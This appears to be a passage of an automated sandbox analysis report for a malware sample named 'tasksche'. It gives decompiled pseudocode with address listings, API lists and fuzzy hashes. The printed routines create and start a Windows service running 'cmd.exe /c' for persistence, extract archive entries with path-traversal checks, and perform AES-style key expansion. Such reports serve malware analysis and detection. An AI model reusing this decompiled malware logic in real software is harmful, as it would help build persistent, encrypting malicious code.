															_push(_t212);
															L004076E8();
														}
														_t282 = _v24;
														memcpy(_t282 + 8, _t281, 0x12c);
														 *((intOrPtr*)(_t282 + 0x134)) = _a4;
														goto L60;
													} else {
														while(1) {
															_v12 =  *((intOrPtr*)(_t277 + _t212));
															_v10 = _v10 & 0x00000000;
															_v11 =  *((intOrPtr*)(_t212 + _t277 + 1));
															_a8 =  *(_t212 + _t277 + 2) & 0x000000ff;
															if(strcmp( &_v12, "UT") == 0) {
																break;
															}
															_t277 = _t277 + _a8 + 4;
															if(_t277 + 4 < _v16) {
																continue;
															}
															goto L57;
														}
														_t238 =  *(_t277 + _t212 + 4) & 0x000000ff;
														_t185 = _t238 >> 0x00000001 & 0x00000001;
														_t278 = _t277 + 5;
														_a11 = _t185;
														_v5 = _t238 >> 0x00000002 & 0x00000001;
														if((_t238 & 0x00000001) != 0) {
															_t271 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t194 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x11c) = E00406B02(_t271,  *_t194 & 0x000000ff | (0 << 0x00000008 | _t271) << 0x00000008);
															_t185 = _a11;
															 *(_t281 + 0x120) = _t271;
														}
														if(_t185 != 0) {
															_t270 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t190 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x10c) = E00406B02(_t270,  *_t190 & 0x000000ff | (0 << 0x00000008 | _t270) << 0x00000008);
															 *(_t281 + 0x110) = _t270;
														}
														if(_v5 != 0) {
															_t269 =  *(_t278 + _t212 + 1) & 0x000000ff;
															 *(_t281 + 0x114) = E00406B02(_t269,  *(_t278 + _t212) & 0x000000ff | (0 << 0x00000008 | _t269) << 0x00000008);
															 *(_t281 + 0x118) = _t269;
														}
														goto L57;
													}
												}
												goto L31;
											}
										}
										_t274 =  &(_t274[2]);
										goto L21;
									}
									_push(_v12);
									L004076E8();
									goto L19;
								}
								return 0x700;
							}
							E00406520(_t133);
							L11:
							_pop(_t213);
							goto L12;
						}
						E004064E2(_t213, _t132);
						goto L11;
					}
					goto L8;
				} else {
					if(_t272 == _t208) {
						L8:
						_t204 = _a8;
						 *_t204 =  *((intOrPtr*)( *_t280 + 4));
						 *((char*)(_t204 + 4)) = 0;
						 *((intOrPtr*)(_t204 + 0x108)) = 0;
						 *((intOrPtr*)(_t204 + 0x10c)) = 0;
						 *((intOrPtr*)(_t204 + 0x110)) = 0;
						 *((intOrPtr*)(_t204 + 0x114)) = 0;
						 *((intOrPtr*)(_t204 + 0x118)) = 0;
						 *((intOrPtr*)(_t204 + 0x11c)) = 0;
						 *((intOrPtr*)(_t204 + 0x120)) = 0;
						 *((intOrPtr*)(_t204 + 0x124)) = 0;
						 *((intOrPtr*)(_t204 + 0x128)) = 0;
						L60:
						return 0;
					}
					memcpy(_a8, _t280 + 8, 0x12c);
					goto L60;
				}
			}


















































                                                                                                                                                                0x00406c40
                                                                                                                                                                0x00406c40
                                                                                                                                                                0x00406c4c
                                                                                                                                                                0x00406c4f
                                                                                                                                                                0x00406c52
                                                                                                                                                                0x00406c56
                                                                                                                                                                0x00406c59
                                                                                                                                                                0x00407064
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407064
                                                                                                                                                                0x00406c5f
                                                                                                                                                                0x00406c64
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406c6d
                                                                                                                                                                0x00406c70
                                                                                                                                                                0x00406c75
                                                                                                                                                                0x00406c75
                                                                                                                                                                0x00406c7c
                                                                                                                                                                0x00406c7f
                                                                                                                                                                0x00406ca0
                                                                                                                                                                0x00406cec
                                                                                                                                                                0x00406cf1
                                                                                                                                                                0x00406cfa
                                                                                                                                                                0x00406cfa
                                                                                                                                                                0x00406cff
                                                                                                                                                                0x00406d21
                                                                                                                                                                0x00406d3e
                                                                                                                                                                0x00406d52
                                                                                                                                                                0x00406d5c
                                                                                                                                                                0x00406d89
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406d89
                                                                                                                                                                0x00406d5e
                                                                                                                                                                0x00406d61
                                                                                                                                                                0x00406d68
                                                                                                                                                                0x00406d7e
                                                                                                                                                                0x00406d95
                                                                                                                                                                0x00406d9b
                                                                                                                                                                0x00406dab
                                                                                                                                                                0x00406db0
                                                                                                                                                                0x00406db8
                                                                                                                                                                0x00406dbe
                                                                                                                                                                0x00406dbe
                                                                                                                                                                0x00406dbe
                                                                                                                                                                0x00406dc2
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406dd0
                                                                                                                                                                0x00406dd6
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406dd9
                                                                                                                                                                0x00406ddf
                                                                                                                                                                0x00406de5
                                                                                                                                                                0x00406e11
                                                                                                                                                                0x00406e11
                                                                                                                                                                0x00406e11
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406e11
                                                                                                                                                                0x00406ded
                                                                                                                                                                0x00406df3
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406dfb
                                                                                                                                                                0x00406e01
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406e09
                                                                                                                                                                0x00406e0f
                                                                                                                                                                0x00406e1b
                                                                                                                                                                0x00406e20
                                                                                                                                                                0x00406e28
                                                                                                                                                                0x00406e2c
                                                                                                                                                                0x00406e3c
                                                                                                                                                                0x00406e3e
                                                                                                                                                                0x00406e41
                                                                                                                                                                0x00406e44
                                                                                                                                                                0x00406e46
                                                                                                                                                                0x00406e61
                                                                                                                                                                0x00406e6b
                                                                                                                                                                0x00406e6d
                                                                                                                                                                0x00406e78
                                                                                                                                                                0x00406e7a
                                                                                                                                                                0x00406e7c
                                                                                                                                                                0x00406e7c
                                                                                                                                                                0x00406e7e
                                                                                                                                                                0x00406e82
                                                                                                                                                                0x00406e88
                                                                                                                                                                0x00406e8a
                                                                                                                                                                0x00406e8a
                                                                                                                                                                0x00406e96
                                                                                                                                                                0x00406e98
                                                                                                                                                                0x00406e98
                                                                                                                                                                0x00406ea3
                                                                                                                                                                0x00406ea5
                                                                                                                                                                0x00406ea5
                                                                                                                                                                0x00406eae
                                                                                                                                                                0x00406eb0
                                                                                                                                                                0x00406eb0
                                                                                                                                                                0x00406ebb
                                                                                                                                                                0x00406ebd
                                                                                                                                                                0x00406ebd
                                                                                                                                                                0x00406eca
                                                                                                                                                                0x00406ed3
                                                                                                                                                                0x00406ee6
                                                                                                                                                                0x00406ef2
                                                                                                                                                                0x00406ef5
                                                                                                                                                                0x00406efb
                                                                                                                                                                0x00406efe
                                                                                                                                                                0x00406f05
                                                                                                                                                                0x00406f08
                                                                                                                                                                0x00406f0e
                                                                                                                                                                0x00406f14
                                                                                                                                                                0x00406f1a
                                                                                                                                                                0x00406f20
                                                                                                                                                                0x00406f26
                                                                                                                                                                0x00406f2c
                                                                                                                                                                0x00407037
                                                                                                                                                                0x00407039
                                                                                                                                                                0x0040703b
                                                                                                                                                                0x0040703c
                                                                                                                                                                0x00407041
                                                                                                                                                                0x00407048
                                                                                                                                                                0x0040704f
                                                                                                                                                                0x0040705a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406f32
                                                                                                                                                                0x00406f32
                                                                                                                                                                0x00406f3a
                                                                                                                                                                0x00406f41
                                                                                                                                                                0x00406f45
                                                                                                                                                                0x00406f4d
                                                                                                                                                                0x00406f5d
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406f62
                                                                                                                                                                0x00406f6c
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406f6e
                                                                                                                                                                0x00406f73
                                                                                                                                                                0x00406f81
                                                                                                                                                                0x00406f86
                                                                                                                                                                0x00406f89
                                                                                                                                                                0x00406f8f
                                                                                                                                                                0x00406f92
                                                                                                                                                                0x00406f94
                                                                                                                                                                0x00406f99
                                                                                                                                                                0x00406f9e
                                                                                                                                                                0x00406fba
                                                                                                                                                                0x00406fc0
                                                                                                                                                                0x00406fc4
                                                                                                                                                                0x00406fc4
                                                                                                                                                                0x00406fcc
                                                                                                                                                                0x00406fce
                                                                                                                                                                0x00406fd3
                                                                                                                                                                0x00406fd8
                                                                                                                                                                0x00406ff4
                                                                                                                                                                0x00406ffb
                                                                                                                                                                0x00406ffb
                                                                                                                                                                0x00407005
                                                                                                                                                                0x00407007
                                                                                                                                                                0x0040702a
                                                                                                                                                                0x00407031
                                                                                                                                                                0x00407031
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407005
                                                                                                                                                                0x00406f2c
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406e0f
                                                                                                                                                                0x00406dd0
                                                                                                                                                                0x00406dcb
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406dcb
                                                                                                                                                                0x00406d80
                                                                                                                                                                0x00406d83
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406d88
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406d40
                                                                                                                                                                0x00406d02
                                                                                                                                                                0x00406cf9
                                                                                                                                                                0x00406cf9
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406cf9
                                                                                                                                                                0x00406cf4
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406cf4
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406c81
                                                                                                                                                                0x00406c83
                                                                                                                                                                0x00406ca2
                                                                                                                                                                0x00406ca7
                                                                                                                                                                0x00406caa
                                                                                                                                                                0x00406cae
                                                                                                                                                                0x00406cb1
                                                                                                                                                                0x00406cb7
                                                                                                                                                                0x00406cbd
                                                                                                                                                                0x00406cc3
                                                                                                                                                                0x00406cc9
                                                                                                                                                                0x00406ccf
                                                                                                                                                                0x00406cd5
                                                                                                                                                                0x00406cdb
                                                                                                                                                                0x00406ce1
                                                                                                                                                                0x00407060
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407060
                                                                                                                                                                0x00406c91
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00406c96

                                                                                                                                                                APIs
                                                                                                                                                                • memcpy.MSVCRT(?,?,0000012C,?), ref: 00406C91
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: memcpy
                                                                                                                                                                • String ID: /../$/..\$\../$\..\
                                                                                                                                                                • API String ID: 3510742995-3885502717
                                                                                                                                                                • Opcode ID: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                                                                                                                                                                • Instruction ID: 8d35de4500b3f4065ad8a7d009fa2f60231b6be20ed9f01f65d9d1a3966dd706
                                                                                                                                                                • Opcode Fuzzy Hash: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                                                                                                                                                                • Instruction Fuzzy Hash: 98D147729082459FDB15CF68C881AEABBF4EF05300F15857FE49AB7381C738A915CB98
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401CE8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75serviceCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 100%
                                                                                                                                                                			E00401CE8(intOrPtr _a4) {
				void* _v8;
				int _v12;
				void* _v16;
				char _v1040;
				void* _t12;
				void* _t13;
				void* _t31;
				int _t32;

				_v12 = 0;
				_t12 = OpenSCManagerA(0, 0, 0xf003f);
				_v8 = _t12;
				if(_t12 != 0) {
					_t13 = OpenServiceA(_t12, 0x40f8ac, 0xf01ff);
					_v16 = _t13;
					if(_t13 == 0) {
						sprintf( &_v1040, "cmd.exe /c \"%s\"", _a4);
						_t31 = CreateServiceA(_v8, 0x40f8ac, 0x40f8ac, 0xf01ff, 0x10, 2, 1,  &_v1040, 0, 0, 0, 0, 0);
						if(_t31 != 0) {
							StartServiceA(_t31, 0, 0);
							CloseServiceHandle(_t31);
							_v12 = 1;
						}
						_t32 = _v12;
					} else {
						StartServiceA(_t13, 0, 0);
						CloseServiceHandle(_v16);
						_t32 = 1;
					}
					CloseServiceHandle(_v8);
					return _t32;
				}
				return 0;
			}











                                                                                                                                                                0x00401cfb
                                                                                                                                                                0x00401cfe
                                                                                                                                                                0x00401d06
                                                                                                                                                                0x00401d09
                                                                                                                                                                0x00401d21
                                                                                                                                                                0x00401d29
                                                                                                                                                                0x00401d2c
                                                                                                                                                                0x00401d54
                                                                                                                                                                0x00401d7b
                                                                                                                                                                0x00401d7f
                                                                                                                                                                0x00401d84
                                                                                                                                                                0x00401d8b
                                                                                                                                                                0x00401d91
                                                                                                                                                                0x00401d91
                                                                                                                                                                0x00401d98
                                                                                                                                                                0x00401d2e
                                                                                                                                                                0x00401d31
                                                                                                                                                                0x00401d3a
                                                                                                                                                                0x00401d42
                                                                                                                                                                0x00401d42
                                                                                                                                                                0x00401d9e
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401da7
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00401CFE
                                                                                                                                                                • OpenServiceA.ADVAPI32(00000000,0040F8AC,000F01FF), ref: 00401D21
                                                                                                                                                                • StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
                                                                                                                                                                • CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
                                                                                                                                                                • CloseServiceHandle.ADVAPI32(?), ref: 00401D9E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Service$CloseHandleOpen$ManagerStart
                                                                                                                                                                • String ID: cmd.exe /c "%s"
                                                                                                                                                                • API String ID: 1485051382-955883872
                                                                                                                                                                • Opcode ID: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                                                                                                                                                • Instruction ID: 93977d8af42d47d1d9866270745c8e9c50065656b45fe828c5c40e24baaa5e60
                                                                                                                                                                • Opcode Fuzzy Hash: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                                                                                                                                                • Instruction Fuzzy Hash: 6411AF71900118BBDB205B659E4CE9FBF7CEF85745F10407AF601F21A0CA744949DB68
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00402A76 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334COMMONCrypto
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 54%
                                                                                                                                                                			E00402A76(void* __ecx, signed int _a4, void* _a6, void* _a7, signed int _a8, signed int _a12, signed char* _a16) {
				signed int _v8;
				signed int _v12;
				char _v24;
				int _t193;
				signed int _t198;
				int _t199;
				intOrPtr _t200;
				signed int* _t205;
				signed char* _t206;
				signed int _t208;
				signed int _t210;
				signed int* _t216;
				signed int _t217;
				signed int* _t220;
				signed int* _t229;
				void* _t252;
				void* _t280;
				void* _t281;
				signed int _t283;
				signed int _t289;
				signed int _t290;
				signed char* _t291;
				signed int _t292;
				void* _t303;
				void* _t313;
				intOrPtr* _t314;
				void* _t315;
				intOrPtr* _t316;
				signed char* _t317;
				signed char* _t319;
				signed int _t320;
				signed int _t322;
				void* _t326;
				void* _t327;
				signed int _t329;
				signed int _t337;
				intOrPtr _t338;
				signed int _t340;
				intOrPtr _t341;
				void* _t342;
				signed int _t345;
				signed int* _t346;
				signed int _t347;
				void* _t352;
				void* _t353;
				void* _t354;

				_t352 = __ecx;
				if(_a4 == 0) {
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t283 = _a12;
				_t252 = 0x18;
				_t342 = 0x10;
				if(_t283 != _t342 && _t283 != _t252 && _t283 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t193 = _a16;
				if(_t193 != _t342 && _t193 != _t252 && _t193 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_t193 =  &_v24;
					_push(0x40d570);
					_push(_t193);
					L0040776E();
				}
				 *(_t352 + 0x3cc) = _t193;
				 *(_t352 + 0x3c8) = _t283;
				memcpy(_t352 + 0x3d0, _a8, _t193);
				memcpy(_t352 + 0x3f0, _a8,  *(_t352 + 0x3cc));
				_t198 =  *(_t352 + 0x3c8);
				_t354 = _t353 + 0x18;
				if(_t198 == _t342) {
					_t199 =  *(_t352 + 0x3cc);
					if(_t199 != _t342) {
						_t200 = ((0 | _t199 != _t252) - 0x00000001 & 0xfffffffe) + 0xe;
					} else {
						_t200 = 0xa;
					}
					goto L17;
				} else {
					if(_t198 == _t252) {
						_t200 = ((0 |  *(_t352 + 0x3cc) == 0x00000020) - 0x00000001 & 0x000000fe) + 0xe;
						L17:
						 *((intOrPtr*)(_t352 + 0x410)) = _t200;
						L18:
						asm("cdq");
						_t289 = 4;
						_t326 = 0;
						_a12 =  *(_t352 + 0x3cc) / _t289;
						if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
							L23:
							_t327 = 0;
							if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
								L28:
								asm("cdq");
								_t290 = 4;
								_t291 = _a4;
								_t345 = ( *((intOrPtr*)(_t352 + 0x410)) + 1) * _a12;
								_v12 = _t345;
								_t329 =  *(_t352 + 0x3c8) / _t290;
								_t205 = _t352 + 0x414;
								_v8 = _t329;
								if(_t329 <= 0) {
									L31:
									_a8 = _a8 & 0x00000000;
									if(_t329 <= 0) {
										L35:
										if(_a8 >= _t345) {
											L51:
											_t206 = 1;
											_a16 = _t206;
											if( *((intOrPtr*)(_t352 + 0x410)) <= _t206) {
												L57:
												 *((char*)(_t352 + 4)) = 1;
												return _t206;
											}
											_a8 = _t352 + 0x208;
											do {
												_t292 = _a12;
												if(_t292 <= 0) {
													goto L56;
												}
												_t346 = _a8;
												do {
													_t208 =  *_t346;
													_a4 = _t208;
													 *_t346 =  *0x0040ABFC ^  *0x0040AFFC ^  *0x0040B3FC ^  *(0x40b7fc + (_t208 & 0x000000ff) * 4);
													_t346 =  &(_t346[1]);
													_t292 = _t292 - 1;
												} while (_t292 != 0);
												L56:
												_a16 =  &(_a16[1]);
												_a8 = _a8 + 0x20;
												_t206 = _a16;
											} while (_t206 <  *((intOrPtr*)(_t352 + 0x410)));
											goto L57;
										}
										_a16 = 0x40bbfc;
										do {
											_t210 =  *(_t352 + 0x410 + _t329 * 4);
											_a4 = _t210;
											 *(_t352 + 0x414) =  *(_t352 + 0x414) ^ ((( *0x004089FC ^  *_a16) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t210 & 0x000000ff) + 0x4089fc) & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff;
											_a16 = _a16 + 1;
											if(_t329 == 8) {
												_t216 = _t352 + 0x418;
												_t303 = 3;
												do {
													 *_t216 =  *_t216 ^  *(_t216 - 4);
													_t216 =  &(_t216[1]);
													_t303 = _t303 - 1;
												} while (_t303 != 0);
												_t217 =  *(_t352 + 0x420);
												_a4 = _t217;
												_t220 = _t352 + 0x428;
												 *(_t352 + 0x424) =  *(_t352 + 0x424) ^ (( *0x004089FC << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t217 & 0x000000ff) + 0x4089fc) & 0x000000ff;
												_t313 = 3;
												do {
													 *_t220 =  *_t220 ^  *(_t220 - 4);
													_t220 =  &(_t220[1]);
													_t313 = _t313 - 1;
												} while (_t313 != 0);
												L46:
												_a4 = _a4 & 0x00000000;
												if(_t329 <= 0) {
													goto L50;
												}
												_t314 = _t352 + 0x414;
												while(_a8 < _t345) {
													asm("cdq");
													_t347 = _a8 / _a12;
													asm("cdq");
													_t337 = _a8 % _a12;
													 *((intOrPtr*)(_t352 + 8 + (_t337 + _t347 * 8) * 4)) =  *_t314;
													_a4 = _a4 + 1;
													_t345 = _v12;
													_t338 =  *_t314;
													_t314 = _t314 + 4;
													_a8 = _a8 + 1;
													 *((intOrPtr*)(_t352 + 0x1e8 + (_t337 + ( *((intOrPtr*)(_t352 + 0x410)) - _t347) * 8) * 4)) = _t338;
													_t329 = _v8;
													if(_a4 < _t329) {
														continue;
													}
													goto L50;
												}
												goto L51;
											}
											if(_t329 <= 1) {
												goto L46;
											}
											_t229 = _t352 + 0x418;
											_t315 = _t329 - 1;
											do {
												 *_t229 =  *_t229 ^  *(_t229 - 4);
												_t229 =  &(_t229[1]);
												_t315 = _t315 - 1;
											} while (_t315 != 0);
											goto L46;
											L50:
										} while (_a8 < _t345);
										goto L51;
									}
									_t316 = _t352 + 0x414;
									while(_a8 < _t345) {
										asm("cdq");
										_a4 = _a8 / _a12;
										asm("cdq");
										_t340 = _a8 % _a12;
										 *((intOrPtr*)(_t352 + 8 + (_t340 + _a4 * 8) * 4)) =  *_t316;
										_a8 = _a8 + 1;
										_t341 =  *_t316;
										_t316 = _t316 + 4;
										 *((intOrPtr*)(_t352 + 0x1e8 + (_t340 + ( *((intOrPtr*)(_t352 + 0x410)) - _a4) * 8) * 4)) = _t341;
										_t329 = _v8;
										if(_a8 < _t329) {
											continue;
										}
										goto L35;
									}
									goto L51;
								}
								_a8 = _t329;
								do {
									_t317 =  &(_t291[1]);
									 *_t205 = ( *_t291 & 0x000000ff) << 0x18;
									 *_t205 =  *_t205 | ( *_t317 & 0x000000ff) << 0x00000010;
									_t319 =  &(_t317[2]);
									 *_t205 =  *_t205 |  *_t319 & 0x000000ff;
									_t291 =  &(_t319[1]);
									_t205 =  &(_t205[1]);
									_t60 =  &_a8;
									 *_t60 = _a8 - 1;
								} while ( *_t60 != 0);
								goto L31;
							}
							_t280 = _t352 + 0x1e8;
							do {
								_t320 = _a12;
								if(_t320 > 0) {
									memset(_t280, 0, _t320 << 2);
									_t354 = _t354 + 0xc;
								}
								_t327 = _t327 + 1;
								_t280 = _t280 + 0x20;
							} while (_t327 <=  *((intOrPtr*)(_t352 + 0x410)));
							goto L28;
						}
						_t281 = _t352 + 8;
						do {
							_t322 = _a12;
							if(_t322 > 0) {
								memset(_t281, 0, _t322 << 2);
								_t354 = _t354 + 0xc;
							}
							_t326 = _t326 + 1;
							_t281 = _t281 + 0x20;
						} while (_t326 <=  *((intOrPtr*)(_t352 + 0x410)));
						goto L23;
					}
					 *((intOrPtr*)(_t352 + 0x410)) = 0xe;
					goto L18;
				}
			}

















































                                                                                                                                                                0x00402a83
                                                                                                                                                                0x00402a85
                                                                                                                                                                0x00402a8e
                                                                                                                                                                0x00402a95
                                                                                                                                                                0x00402a9e
                                                                                                                                                                0x00402aa3
                                                                                                                                                                0x00402aa4
                                                                                                                                                                0x00402aa4
                                                                                                                                                                0x00402aa9
                                                                                                                                                                0x00402aae
                                                                                                                                                                0x00402ab1
                                                                                                                                                                0x00402ab4
                                                                                                                                                                0x00402ac2
                                                                                                                                                                0x00402ac6
                                                                                                                                                                0x00402acd
                                                                                                                                                                0x00402ad6
                                                                                                                                                                0x00402adb
                                                                                                                                                                0x00402adc
                                                                                                                                                                0x00402adc
                                                                                                                                                                0x00402ae1
                                                                                                                                                                0x00402ae6
                                                                                                                                                                0x00402af4
                                                                                                                                                                0x00402af8
                                                                                                                                                                0x00402aff
                                                                                                                                                                0x00402b05
                                                                                                                                                                0x00402b08
                                                                                                                                                                0x00402b0d
                                                                                                                                                                0x00402b0e
                                                                                                                                                                0x00402b0e
                                                                                                                                                                0x00402b14
                                                                                                                                                                0x00402b23
                                                                                                                                                                0x00402b2a
                                                                                                                                                                0x00402b3f
                                                                                                                                                                0x00402b44
                                                                                                                                                                0x00402b4a
                                                                                                                                                                0x00402b4f
                                                                                                                                                                0x00402b75
                                                                                                                                                                0x00402b7d
                                                                                                                                                                0x00402b92
                                                                                                                                                                0x00402b7f
                                                                                                                                                                0x00402b81
                                                                                                                                                                0x00402b81
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402b51
                                                                                                                                                                0x00402b53
                                                                                                                                                                0x00402b70
                                                                                                                                                                0x00402b94
                                                                                                                                                                0x00402b94
                                                                                                                                                                0x00402b9a
                                                                                                                                                                0x00402ba2
                                                                                                                                                                0x00402ba3
                                                                                                                                                                0x00402ba6
                                                                                                                                                                0x00402bae
                                                                                                                                                                0x00402bb1
                                                                                                                                                                0x00402bcf
                                                                                                                                                                0x00402bcf
                                                                                                                                                                0x00402bd7
                                                                                                                                                                0x00402bf8
                                                                                                                                                                0x00402c00
                                                                                                                                                                0x00402c01
                                                                                                                                                                0x00402c0b
                                                                                                                                                                0x00402c0e
                                                                                                                                                                0x00402c12
                                                                                                                                                                0x00402c15
                                                                                                                                                                0x00402c17
                                                                                                                                                                0x00402c1f
                                                                                                                                                                0x00402c22
                                                                                                                                                                0x00402c4e
                                                                                                                                                                0x00402c4e
                                                                                                                                                                0x00402c54
                                                                                                                                                                0x00402ca5
                                                                                                                                                                0x00402ca8
                                                                                                                                                                0x00402e04
                                                                                                                                                                0x00402e06
                                                                                                                                                                0x00402e0d
                                                                                                                                                                0x00402e10
                                                                                                                                                                0x00402e73
                                                                                                                                                                0x00402e73
                                                                                                                                                                0x00402e7b
                                                                                                                                                                0x00402e7b
                                                                                                                                                                0x00402e18
                                                                                                                                                                0x00402e1b
                                                                                                                                                                0x00402e1b
                                                                                                                                                                0x00402e20
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402e22
                                                                                                                                                                0x00402e25
                                                                                                                                                                0x00402e25
                                                                                                                                                                0x00402e29
                                                                                                                                                                0x00402e59
                                                                                                                                                                0x00402e5b
                                                                                                                                                                0x00402e5e
                                                                                                                                                                0x00402e5e
                                                                                                                                                                0x00402e61
                                                                                                                                                                0x00402e61
                                                                                                                                                                0x00402e64
                                                                                                                                                                0x00402e68
                                                                                                                                                                0x00402e6b
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402e1b
                                                                                                                                                                0x00402cae
                                                                                                                                                                0x00402cb5
                                                                                                                                                                0x00402cb5
                                                                                                                                                                0x00402cbf
                                                                                                                                                                0x00402d05
                                                                                                                                                                0x00402d0b
                                                                                                                                                                0x00402d11
                                                                                                                                                                0x00402d34
                                                                                                                                                                0x00402d3a
                                                                                                                                                                0x00402d3b
                                                                                                                                                                0x00402d3e
                                                                                                                                                                0x00402d40
                                                                                                                                                                0x00402d43
                                                                                                                                                                0x00402d43
                                                                                                                                                                0x00402d46
                                                                                                                                                                0x00402d4e
                                                                                                                                                                0x00402d8f
                                                                                                                                                                0x00402d95
                                                                                                                                                                0x00402d9b
                                                                                                                                                                0x00402d9c
                                                                                                                                                                0x00402d9f
                                                                                                                                                                0x00402da1
                                                                                                                                                                0x00402da4
                                                                                                                                                                0x00402da4
                                                                                                                                                                0x00402da7
                                                                                                                                                                0x00402da7
                                                                                                                                                                0x00402dad
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402daf
                                                                                                                                                                0x00402db5
                                                                                                                                                                0x00402dbf
                                                                                                                                                                0x00402dc3
                                                                                                                                                                0x00402dc8
                                                                                                                                                                0x00402dc9
                                                                                                                                                                0x00402dcf
                                                                                                                                                                0x00402ddb
                                                                                                                                                                0x00402dde
                                                                                                                                                                0x00402de4
                                                                                                                                                                0x00402de6
                                                                                                                                                                0x00402de9
                                                                                                                                                                0x00402dec
                                                                                                                                                                0x00402df3
                                                                                                                                                                0x00402df9
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402df9
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402db5
                                                                                                                                                                0x00402d16
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402d1c
                                                                                                                                                                0x00402d22
